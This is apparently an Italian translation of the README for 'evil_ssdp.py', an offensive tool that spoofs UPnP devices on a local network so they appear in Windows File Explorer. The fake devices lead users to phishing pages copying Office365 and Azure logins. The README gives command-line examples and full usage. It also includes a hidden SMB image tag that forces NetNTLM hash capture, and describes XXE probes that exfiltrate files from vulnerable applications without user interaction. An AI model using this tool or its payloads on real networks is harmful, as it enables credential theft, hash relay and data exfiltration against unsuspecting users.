
Spoof le risposte SSDP e crea dispositivi UPnP falsi per phishing di credenziali e challenge/response NetNTLM.
Questo strumento risponde alle richieste di discovery multicast SSDP, presentandosi come un dispositivo UPNP generico. Il tuo dispositivo falsificato apparirà magicamente in Esplora File Windows sulle macchine nella tua rete locale. Agli utenti tentati di aprire il dispositivo viene mostrata una pagina di phishing configurabile. Questa pagina può caricare un'immagine nascosta via SMB, permettendoti di catturare o inoltrare la challenge/response NetNTLM.
I modelli sono anche forniti per catturare credenziali in chiaro tramite autenticazione di base e moduli di accesso, e creare i propri modelli personalizzati è rapido e facile.
Questo non richiede credenziali esistenti per essere eseguito e funziona anche su reti che hanno protetto contro attacchi Responder disabilitando NETBIOS e LLMNR. Qualsiasi sistema operativo o applicazione che utilizza SSDP/UPNP può essere preso di mira, ma la maggior parte della weaponizzazione attuale è stata rivolta a Windows 10.
Come bonus, questo strumento può anche rilevare e sfruttare potenziali vulnerabilità zero-day nei motori di parsing XML di applicazioni che utilizzano SSDP/UPNP. Se viene trovato un dispositivo vulnerabile, ti avviserà nell'interfaccia e monterà la tua condivisione SMB o esiltrerà dati SENZA ALCUNA INTERAZIONE DELL'UTENTE tramite un attacco XML External Entity (XXE).
L'esecuzione più semplice ha questo aspetto:
evil_ssdp.py eth0
Devi fornire almeno l'interfaccia di rete. L'interfaccia è utilizzata sia per l'interazione UDP SSDP che per ospitare un server web per i file XML e la pagina di phishing.
Lo strumento aggiornerà automaticamente un tag IMG nella pagina di phishing utilizzando l'IP dell'interfaccia fornita. Per funzionare con challenge/response, dovrai avviare un server SMB su quell'interfaccia (ad esempio Impacket). Questo indirizzo può essere personalizzato con l'opzione -s.
Alcuni scenari di esempio:
# Usa wlan0 per la pubblicità del dispositivo e il phishing, catturando NetNTLM e
# chiedendo credenziali in chiaro tramite un modulo di accesso Office365 falsificato. Reindirizza a
# Microsoft dopo aver catturato le credenziali:
evil_ssdp.py wlan0 -t office365 -u 'https://office.microsoft.com'
# Come sopra, ma assumendo che il tuo server SMB sia in esecuzione su un altro IP:
evil_ssdp.py wlan0 -t office365 -u 'https://office.microsoft.com' \
-s 192.168.1.205
# Richiedi credenziali usando l'autenticazione di base e reindirizza ad Azure:
evil_ssdp.py wlan0 -t microsoft-azure -u \
'https://azure.microsoft.com/auth/signin/' -b
# Spera in una vulnerabilità XXE per catturare NetNTLM mentre Impacket/Responder è in esecuzione
su wlan0:
evil_ssdp.py wlan0 -t xxe-smb
Dettagli completi sull'uso:
usage: evil_ssdp.py [-h] [-p PORT] [-t TEMPLATE] [-s SMB] [-b] [-r REALM]
[-u URL]
interface
positional arguments:
interface Network interface to listen on.
optional arguments:
-h, --help show this help message and exit
-p PORT, --port PORT Port for HTTP server. Defaults to 8888.
-t TEMPLATE, --template TEMPLATE
Name of a folder in the templates directory. Defaults
to "office365". This will determine xml and phishing
pages used.
-s SMB, --smb SMB IP address of your SMB server. Defalts to the primary
address of the "interface" provided.
-b, --basic Enable base64 authentication for templates and write
credentials to log file.
-r REALM, --realm REALM
Realm when prompting target for authentication via
Basic Auth.
-u URL, --url URL Redirect to this URL. Works with templates that do a
POST for logon forms and with templates that include
the custom redirect JavaScript (see README for more
info).[example: -r https://google.com]
-a, --analyze Run in analyze mode. Will NOT respond to any SSDP
queries, but will still enable and run the web server
for testing.
I seguenti modelli sono inclusi nello strumento. Se hai buone capacità di design, contribuisci con uno tuo!
office365: Apparirà in Esplora File Windows come "Office365 Backups". La pagina di phishing simile al logon di Office365 ti invierà le credenziali tramite POST. Queste verranno segnalate nell'interfaccia e registrate nel file di log. Si consiglia di eseguire con '-u https://www.office.com' per reindirizzare gli utenti al sito legittimo dopo aver rubato le credenziali. Sviluppatore: pentestgeek.scanner: Apparirà in Esplora File Windows come scanner con il nome "Corporate Scanner [3 NEW SCANS WAITING]". Facendo doppio clic si aprirà una pagina di login dall'aspetto generico. Questo modello funzionerebbe bene con personalizzazioni per il tuo target specifico. Modello per lo più copiato da questo modello.microsoft-azure: Apparirà in Esplora File Windows come "Microsoft Azure Storage". La pagina di destinazione è la pagina di login di Windows Live quando i cookie sono disabilitati. Si consiglia di utilizzare con l'opzione -u per reindirizzare gli utenti alla vera pagina di login. Sviluppatore: Dwight Hohnstein.bitcoin: Apparirà in Esplora File Windows come "Bitcoin Wallet". La pagina di phishing è solo un set casuale di informazioni di Bitcoin chiave privata/pubblica/indirizzo. Non ci sono fondi reali in questi account.password-vault: Apparirà in Esplora File Windows come "IT Password Vault". La pagina di phishing contiene una breve lista di password / chiavi ssh / ecc. fittizie.xxe-smb: Probabilmente non apparirà in Esplora File Windows. Utilizzato per trovare vulnerabilità zero day nei parser XML. Attiverà un avviso "XXE - VULN" nell'interfaccia per le corrispondenze e tenterà di forzare i client ad autenticarsi con il server SMB, con 0 interazione.xxe-exfil: Un altro esempio di ricerca di vulnerabilità XXE, ma questa volta tentando di esfiltrare un file di test da un host Windows. Ovviamente puoi personalizzarlo per cercare qualsiasi file specifico tu voglia, Windows o Linux. Nelle applicazioni vulnerabili che ho scoperto, l'esfiltrazione funziona solo su un file senza spazi bianchi o interruzioni di riga. Ciò è dovuto a come viene iniettato nell'URL di una richiesta GET. Se riesci a farlo funzionare su file multi-riga, PER FAVORE fammi sapere come hai fatto.Creare i propri modelli è facile. Basta copiare la cartella di un modello esistente e modificare i seguenti file:
device.xml: Qui definisci l'aspetto del dispositivo all'interno di Esplora File Windows.present.html: Questa è la pagina di phishing visualizzata quando un target apre il dispositivo malvagio. Crea qualsiasi cosa desideri qui. Nota che il template stringa di Python analizzerà questo, quindi dovrai usare $$ al posto di $ ovunque per sfuggire al motore di template.service.xml: Non ancora implementato. Potrebbe essere necessario per uno spoofing UPNP più complesso in futuro.Nella tua pagina di phishing (present.html), usa variabili come le seguenti per funzionalità aggiuntive:
# La seguente riga avvierà una challenge/response NetNTLM utilizzando l'indirizzo IP
# dell'interfaccia fornita o di un indirizzo IP opzionale specificato:
<img src="file://///$smb_server/smb/hash.jpg" style="display: none;" />